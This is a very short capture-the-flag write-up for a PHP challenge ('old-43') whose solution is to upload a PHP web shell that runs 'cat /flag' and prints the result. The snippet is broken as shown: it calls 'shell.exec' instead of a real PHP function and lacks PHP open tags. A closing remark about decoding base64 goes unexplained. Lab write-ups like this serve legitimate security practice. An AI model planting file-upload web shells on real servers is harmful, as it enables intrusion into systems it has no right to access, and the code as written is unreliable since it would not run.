old-43 250 PHP

Hello, hello, and hello there. Welcome to my CTF writeup. Today’s task is rather simple, upload a PHP web shell, and complete the challenge.


Just follow the instruction by creating a simple PHP file.

$output = shell.exec('cat /flag');
echo "$output";

Save it as a .php file, upload it and visit the uploaded file.


P/s: try decode the base64 text and that is what I thought.
